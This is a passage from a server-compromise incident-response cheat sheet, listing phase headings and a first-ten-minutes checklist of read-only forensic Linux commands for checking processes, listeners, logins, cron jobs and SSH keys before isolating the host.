│  Anomalies      Timeline       Scope blast    integrity     auditd         │
│  GuardDuty      Persistence    radius         Resume ops    3-2-1 backup   │
│                 MITRE mapping  Legal notify               Patch mgmt       │
└────────────────────────────────────────────────────────────────────────────┘

FIRST 10 MINUTES — SERVER COMPROMISE RESPONSE
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything else
☐ ps aux --sort=-%cpu | head -20         (find malicious processes)
☐ ss -tulpn                              (find unexpected listeners)
☐ last -n 50 -a                          (recent login history)
☐ grep "Accepted" /var/log/auth.log | tail -30  (successful logins)
☐ find / -mtime -1 -type f 2>/dev/null | head -20 (recent file changes)
☐ crontab -l && ls /etc/cron.d/          (cron persistence)
☐ cat ~/.ssh/authorized_keys             (all users)
☐ Isolate server (update security group / iptables)
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────